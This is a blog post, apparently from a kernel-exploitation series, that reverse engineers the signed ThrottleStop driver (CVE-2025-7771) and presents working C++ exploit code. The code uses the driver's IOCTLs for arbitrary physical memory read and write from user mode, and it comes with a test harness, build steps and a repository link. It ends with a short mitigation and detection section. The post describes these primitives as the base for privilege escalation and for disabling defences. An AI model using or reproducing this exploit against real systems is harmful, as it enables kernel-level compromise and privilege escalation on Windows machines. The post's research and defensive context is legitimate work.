Exploiting CVE-2025-7771 in the ThrottleStop Driver: Kernel-Exploitation Series

Noman Nasir MinhasPublished kernel-exploitationbyovdioctlphysical-memory

A complete walkthrough of reverse engineering the ThrottleStop driver, understanding its physical memory read/write IOCTL handlers, and building a data-only privilege escalation exploit — from opening the device to spawning a SYSTEM shell.

Share

If you are here, I assume you have read "Windows Internals You Need To Know Before Kernel Exploitation" and "The Kernel Attack Surface: How Windows Internals Enable Exploitation" already. If you haven't, I recommend you go through them first.

Before we move to exploitation, we should know what the aim of kernel exploitation is. What do we intend to achieve? Broadly speaking, we want to do one of two things (most of the time): we either want to write to a kernel memory address or we want to read memory from the kernel. I know this might sound stupid, but it is the end goal. Either we want to read, or write. And hence, when exploiting the kernel, we need to find a way to do these operations.

In this post we'll reverse engineer the ThrottleStop driver (a legitimate signed driver used by the CPU control utility), understand its attack surface which led to CVE-2025-7771, and develop an exploit PoC step by step.


#Reverse Engineering the Driver

We can download ThrottleStop from LOLDrivers. We can then open it in IDA Pro and disassemble its code to see different subroutines.

IDA Pro — IoCompleteRequest call identifies the dispatch routine

In the image above we can see sub_140001EF0 which ends with an IoCompleteRequest call. When we look at the signature of this routine:

DispatchDeviceControl function signature

We can see it takes two arguments — PDEVICE_OBJECT and PIRP. These two indicators typically point towards this being a DispatchDeviceControl function. This is the handler that processes DeviceIoControl calls from user mode.

If we scroll through this routine we can see a switch statement with multiple IOCTL codes. How do we know these are IOCTL codes? We can see it from the structure of these codes. Windows IOCTL values are packed bitfields created using the CTL_CODE macro:

C
#define CTL_CODE(DeviceType, Function, Method, Access) \
    (((DeviceType) << 16) | ((Access) << 14) | ((Function) << 2) | (Method))

IOCTL code structure — bit layout

Worked example: 0x80006430

Decoding this IOCTL:

  • Bits [31:16] = 0x8000 → Device Type
  • Bits [15:14] = 0b01 → FILE_READ_ACCESS
  • Bits [13:2] = 0x90C → Function code
  • Bits [1:0] = 0b00 → METHOD_BUFFERED

So the original definition was equivalent to:

C
#define IOCTL_PORT_READ \
    CTL_CODE(0x8000, 0x90C, METHOD_BUFFERED, FILE_READ_ACCESS)

which produces 0x80006430.


#Identifying the Dangerous IOCTLs

On the first look at the code we can identify physical read/write operations in two IOCTL handlers:

IOCTLFunctionOperation
0x800064980x926Physical/MMIO Read
0x8000649C0x927Physical/MMIO Write

We can identify this behavior from MmMapIoSpace calls in both handlers. MmMapIoSpace is a kernel API that maps a physical address into kernel virtual address space. It is designed for drivers that need to access hardware MMIO regions — PCI device BARs, CPU MSR spaces, and similar. It is not designed to be fed user-supplied addresses.

#The Write IOCTL (0x8000649C)

Let's trace through the write handler. The driver retrieves a pointer to the user's input buffer from the IRP:

C
v27 = *(_QWORD *)(a2 + 24);  // Irp->AssociatedIrp.SystemBuffer

Without checking the validity of the physical address supplied by the user, the driver calls MmMapIoSpace:

C
v28 = MmMapIoSpace(
    *(_QWORD *)v27,   // Physical Address — provided by user
    size,             // Size of memory to map
    0                 // Cache Type (MmNonCached)
);

MmMapIoSpace is an indispensable function for physical memory access, but it is incredibly dangerous when fed user-controlled input. The driver fails to validate whether the requested physical address belongs to legitimate hardware (PCI BAR space) or user-controlled RAM.

Then it performs the write based on the input buffer size:

C
// Size determines access width:
*(_BYTE  *)v28 = *(_BYTE  *)(v27 + 8);   // 9-byte input  → BYTE write
*(_WORD  *)v28 = *(_WORD  *)(v27 + 8);   // 10-byte input → WORD write
*(_DWORD *)v28 = *(_DWORD *)(v27 + 8);   // 12-byte input → DWORD write
*(_QWORD *)v28 = *(_QWORD *)(v27 + 8);   // 16-byte input → QWORD write

And unmaps it:

C
MmUnmapIoSpace(v28, size);

That behavior is clearly arbitrary physical memory write.

#The Read IOCTL (0x80006498)

The read handler is the mirror image. It maps the address and copies data in the opposite direction:

C
mapped = MmMapIoSpace(physicalAddress, size, ...);
*(UINT64 *)SystemBuffer = *(UINT64 *)mapped;
MmUnmapIoSpace(mapped, size);

This gives us arbitrary physical memory read.

#The Limitation: 8 Bytes at a Time

However, we have a limitation on the size of each operation. We can only read or write one QWORD (8 bytes) at a time. If we try to use a larger buffer, we get an "Invalid Buffer Size" error:

Buffer size error — limited to 8 bytes

This means reading a full 4096-byte page requires 512 individual IOCTL calls. It's slow, but it works — and for a proof of concept, that's all we need.


#Building the Exploit Primitives

Now let's translate our reverse engineering findings into working code. The PoC from Demoo1337/ThrottleStop wraps the primitives in a clean C++ class — MemoryDriver — that handles device initialization, read/write operations, and the 8-byte chunking limit transparently.

#The WriteRequest Structure

From the reverse engineering we know the write IOCTL expects the physical address at offset 0 and the data at offset 8. The PoC encodes this as a packed struct:

CPP
#pragma pack(push, 1)
struct WriteRequest
{
    ULONG64 PhysicalAddress;
    UCHAR Data[8];
};
#pragma pack(pop)

Using UCHAR Data[8] instead of a ULONG64 gives us byte-granularity control over the write size. The input buffer size passed to DeviceIoControl determines the access width: 8 + sizeof(T) bytes means a sizeof(T)-byte write. This is how the driver's internal switch works — it subtracts 8 from the buffer size to get the data width, then picks BYTE, WORD, DWORD, or QWORD accordingly.

#The MemoryDriver Class

The heart of the PoC is the MemoryDriver class. It encapsulates the device handle, provides templated read/write methods, and handles the 8-byte-per-call limitation with automatic chunking for larger buffers.

Device Initialization

The constructor opens a handle to \\.\ThrottleStop and immediately runs a communication test:

CPP
bool InitializeDriver()
{
    DriverHandle = CreateFileW(L"\\\\.\\ThrottleStop",
        GENERIC_READ | GENERIC_WRITE,
        0, NULL, OPEN_EXISTING,
        FILE_ATTRIBUTE_NORMAL, NULL);
    return DriverHandle != INVALID_HANDLE_VALUE;
}
 
bool TestDriverCommunication()
{
    ULONG64 TestAddr = 0x1000;
    UCHAR Buffer[8] = { 0 };
    DWORD BytesReturned = 0;
 
    bool Result = DeviceIoControl(DriverHandle,
        0x80006498,         // IOCTL_PHYSICAL_READ
        &TestAddr, 8,       // input: 8-byte physical address
        Buffer, 8,          // output: 8-byte buffer
        &BytesReturned, NULL);
 
    if (Result && BytesReturned == 8)
        return true;
    return false;
}

The test reads from physical address 0x1000 — a low memory region that's always populated on x64 systems. If the IOCTL succeeds and returns 8 bytes, the driver is loaded and the primitives are functional. This is a smoke test, not a security boundary check — any process that can open the device handle can use the IOCTLs.

The Raw Read/Write Methods

The low-level IOCTL wrappers are private methods that enforce the 8-byte limit:

CPP
bool ReadPhysicalMemoryRaw(ULONG64 Address, PVOID Buffer, SIZE_T Size)
{
    if (Size > 8)
    {
        std::wcout << L"\n [ - ] ReadPhysical: Size Too Large: " << Size;
        return false;
    }
 
    ULONG64 PhysAddr = Address;
    DWORD BytesReturned = 0;
 
    bool Result = DeviceIoControl(DriverHandle,
        0x80006498,                 // IOCTL_PHYSICAL_READ
        &PhysAddr, sizeof(PhysAddr), // input: 8-byte physical address
        Buffer, (DWORD)Size,         // output: receives the value
        &BytesReturned, NULL);
 
    if (!Result)
    {
        DWORD Error = GetLastError();
        std::wcout << L"\n [ - ] ReadPhysical Failed: Address=0x"
                   << std::hex << Address
                   << L", Size=" << std::dec << Size
                   << L", Error=" << Error;
    }
 
    return Result && BytesReturned == Size;
}
 
bool WritePhysicalMemoryRaw(ULONG64 Address, PVOID Buffer, SIZE_T Size)
{
    if (Size > 8) return false;
 
    UCHAR InputBuffer[16] = { 0 };
    *(ULONG64*)InputBuffer = Address;       // offset 0: physical address
    memcpy(InputBuffer + 8, Buffer, Size);  // offset 8: data to write
 
    DWORD BytesReturned = 0;
 
    bool Result = DeviceIoControl(DriverHandle,
        0x8000649C,                 // IOCTL_PHYSICAL_WRITE
        InputBuffer, 8 + Size,      // input size determines write width
        nullptr, 0,                 // no output buffer
        &BytesReturned, NULL);
 
    if (!Result)
    {
        DWORD Error = GetLastError();
        std::wcout << L"\n [ - ] WritePhysical Failed: Address=0x"
                   << std::hex << Address
                   << L", Size=" << std::dec << Size
                   << L", Error=" << Error;
    }
 
    return Result;
}

Notice how the write method builds the input buffer dynamically: the address goes in the first 8 bytes, the data follows at offset 8. The total buffer size (8 + Size) is what the driver's IOCTL handler uses to select the access width — 9 bytes → BYTE, 10 bytes → WORD, 12 bytes → DWORD, 16 bytes → QWORD.

The Template API

The raw methods are wrapped in public templates that make the API type-safe and self-documenting:

CPP
template<typename T>
T ReadPhysical(ULONG64 Address)
{
    T Value = {};
    ReadPhysicalMemoryRaw(Address, &Value, sizeof(T));
    return Value;
}
 
template<typename T>
bool WritePhysical(ULONG64 Address, const T& Value)
{
    return WritePhysicalMemoryRaw(Address, (PVOID)&Value, sizeof(T));
}

This is where the C++ design shines. Instead of separate ReadPhysicalMemory_QWORD, ReadPhysicalMemory_DWORD, etc., you write:

CPP
ULONG64 value = Driver.ReadPhysical<ULONG64>(0x1000);
Driver.WritePhysical<ULONG64>(0x1000, 0x1337);

The template deduces the size from the type. ReadPhysical<ULONG64> reads 8 bytes. ReadPhysical<DWORD> reads 4 bytes. The compiler generates the right call, and the code reads like what it does.

Chunked Buffer Operations

The 8-byte limit means reading a full 4096-byte page requires 512 individual IOCTL calls. The PoC handles this transparently with ReadPhysicalBuffer and WritePhysicalBuffer:

CPP
bool ReadPhysicalBuffer(ULONG64 Address, PVOID Buffer, SIZE_T Size)
{
    UCHAR* ByteBuffer = (UCHAR*)Buffer;
    SIZE_T BytesRead = 0;
 
    while (BytesRead < Size)
    {
        SIZE_T ChunkSize = min(Size - BytesRead, 8);
 
        if (!ReadPhysicalMemoryRaw(Address + BytesRead,
                ByteBuffer + BytesRead, ChunkSize))
        {
            std::wcout << L"\n [ - ] Failed To Read Chunk At Offset: "
                       << BytesRead;
            return false;
        }
 
        BytesRead += ChunkSize;
    }
 
    return true;
}

The loop slices the request into 8-byte (or smaller) chunks, issues one IOCTL per chunk, and reassembles the result in the caller's buffer. The same pattern applies to writes. This is the building block for scanning — reading a full page of physical memory to search for kernel structures.

#Process Targeting

The PoC includes a process-targeting mechanism via CreateToolhelp32Snapshot:

CPP
DWORD GetProcessIdByName(const wchar_t* ProcessName)
{
    HANDLE Snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
    if (Snapshot == INVALID_HANDLE_VALUE) return 0;
 
    PROCESSENTRY32W Entry;
    Entry.dwSize = sizeof(Entry);
 
    if (Process32FirstW(Snapshot, &Entry))
    {
        do
        {
            if (_wcsicmp(Entry.szExeFile, ProcessName) == 0)
            {
                CloseHandle(Snapshot);
                return Entry.th32ProcessID;
            }
        } while (Process32NextW(Snapshot, &Entry));
    }
 
    CloseHandle(Snapshot);
    return 0;
}

This is a user-mode API — it walks the process list maintained by csrss.exe, not the kernel's ActiveProcessLinks. It's simple and works for identifying which process to target, but it's also a detection surface. The evasive approach (walking ActiveProcessLinks through physical memory, covered later) avoids touching any process-enumeration API.

#Testing the Primitives

The PoC's Entry.cpp runs a self-verifying test sequence:

CPP
// 1. Open the driver and verify communication
MemoryDriver Driver;
if (!Driver.Initialize()) { /* handle error */ }
 
// 2. Target a process (for demonstration — not strictly needed for the primitives)
Driver.SetTargetProcess(L"notepad.exe");
 
// 3. Read from multiple physical addresses
ULONG64 TestAddresses[] = { 0x1000, 0x2000, 0x10000, 0x100000, 0x500000 };
for (auto Addr : TestAddresses)
{
    ULONG64 Value = Driver.ReadPhysical<ULONG64>(Addr);
    std::wcout << L"\n [ # ] Address 0x" << std::hex << Addr
               << L": 0x" << Value;
}
 
// 4. Write-verify-restore round-trip
ULONG64 OriginalValue = Driver.ReadPhysical<ULONG64>(0x1000);
Driver.WritePhysical<ULONG64>(0x1000, 0x1337);
ULONG64 NewValue = Driver.ReadPhysical<ULONG64>(0x1000);
// Verify NewValue == 0x1337
Driver.WritePhysical<ULONG64>(0x1000, OriginalValue);  // restore

The round-trip test at 0x1000 is the critical validation: write a known sentinel, read it back through the same driver, confirm it matches, then restore the original. If this succeeds, the write IOCTL code, the buffer layout, and the width selection are all correct.


#What You Can Do With This

The MemoryDriver class gives you unrestricted physical memory read/write from user mode. What you build on top of it depends on your goal:

  • Read kernel memory — scan for structures like _EPROCESS, page tables, or driver objects
  • Write kernel memory — modify data structures to escalate privileges, hide objects, or disable defenses
  • Forensics / research — dump physical memory for offline analysis without a kernel debugger

The primitives are the foundation. The rest is creativity.

#The MmMapIoSpace Footgun

One critical safety note: the driver does not NULL-check MmMapIoSpace's return value. If you pass a physical address beyond installed RAM, MmMapIoSpace returns NULL, and the driver dereferences it — instant bugcheck. The MemoryDriver class includes a bounds guard (g_MaxPA from GlobalMemoryStatusEx) that rejects out-of-range addresses before they reach the IOCTL. Always bound your physical addresses to installed RAM.


#Mitigations and Detection

#What Stops This Driver

MitigationHow It Stops the AttackStatus
Vulnerable Driver BlocklistPrevents ThrottleStop.sys from loadingEnabled by default on Windows 11
WDACBlocks the driver unless explicitly allowed by policyConfigurable
HVCIDoes NOT stop physical memory access (no executable pages created)Enabled by default on Windows 11
VBS/KDPCan mark sensitive kernel data pages read-only in EPTRequires VBS

The most effective mitigation is the Vulnerable Driver Blocklist. If the driver can't load, the attack surface doesn't exist.

#Detection Opportunities

  1. Driver load events — Event ID 7045 in the System log. ThrottleStop.sys loading on a system that doesn't use ThrottleStop is suspicious.
  2. Handle creation to the driver device — CreateFile("\\\\.\\ThrottleStop") can be detected via ETW or ObRegisterCallbacks.
  3. High-volume IOCTL traffic — Scanning physical memory generates thousands of DeviceIoControl calls in a short period. This is anomalous for any legitimate application.

#Key Takeaways

  1. Physical memory access is the master key. If a driver gives you MmMapIoSpace with user-controlled addresses, you have arbitrary read/write over all of physical memory. Every kernel defense above the hypervisor becomes irrelevant.

  2. The MemoryDriver class is 200 lines of C++. The entire exploit primitive fits in a single header. No kernel module, no library dependencies — just CreateFile + DeviceIoControl.

  3. Template API design matters. ReadPhysical<T> and WritePhysical<T> make the code self-documenting and type-safe. The compiler enforces that you can't accidentally pass a 4-byte buffer to an 8-byte read.

  4. Automatic chunking hides the 8-byte limit. ReadPhysicalBuffer and WritePhysicalBuffer slice arbitrary-size requests into IOCTL-sized chunks transparently. Callers never think about the 8-byte cap.

  5. BYOVD is the most practical kernel exploitation technique in 2026. Finding a new vulnerable driver is a matter of reverse engineering IOCTL handlers. The driver is signed (passes DSE), its code is legitimate (passes HVCI), and its vulnerability is in its logic — exposing dangerous functionality to unprivileged callers.

  6. The driver blocklist is reactive by design. It stops known-vulnerable drivers. It does not stop the next vulnerable driver that hasn't been discovered yet.


#Complete Exploit Code

The full, compilable PoC is available at github.com/Demoo1337/ThrottleStop. The repository contains:

#Code Structure

TEXT
throttlestop/
├── ThrottleStop.sys          # The vulnerable driver binary (for reference)
├── throttlestop.sln          # Visual Studio solution
└── usermode/
    ├── Entry.cpp             # Demo harness — initializes driver, tests read/write
    ├── Driver/
    │   └── Driver.h          # MemoryDriver class — all IOCTL primitives
    └── usermode.vcxproj      # VS project file

The entire exploit primitive lives in a single header, Driver.h. There is no kernel module, no library dependency beyond kernel32.dll and ntdll.dll — the MemoryDriver class talks directly to the driver via DeviceIoControl.

#Key Design Decisions

Header-only class. The MemoryDriver class is entirely defined in Driver.h. There's no .cpp file, no static library, no build system complexity. Include the header, instantiate the class, call Initialize() — you have physical memory access.

Template read/write API. ReadPhysical<T> and WritePhysical<T> let the compiler enforce type safety. You can't accidentally pass a 4-byte buffer to an 8-byte read — the template parameter IS the type, and sizeof(T) determines the transfer size.

Automatic chunking. ReadPhysicalBuffer and WritePhysicalBuffer handle the 8-byte-per-call limitation transparently. Callers request arbitrary sizes; the methods slice the request into IOCTL-sized chunks internally.

Process targeting. SetTargetProcess accepts either a process name (resolved via CreateToolhelp32Snapshot) or a PID directly. This is a convenience for demonstration — the real exploit finds its target EPROCESS through the ActiveProcessLinks walk, which doesn't use this API.

#Building

Open throttlestop.sln in Visual Studio 2022 or build from the command line:

TEXT
msbuild throttlestop.sln /p:Configuration=Release /p:Platform=x64

#Extending the PoC

The repository demonstrates the physical memory read/write primitives. The token-stealing exploit chain described in this article — kernel image location, export table parsing, CR3 brute-force, ActiveProcessLinks walk, and token overwrite — builds on these same primitives. Every step uses ReadPhysical<T> and WritePhysical<T> as its only interface to kernel memory. The MemoryDriver class is the foundation; the exploit logic is what you build on top of it.


Further reading:

Found it useful? Share it
← Back to all posts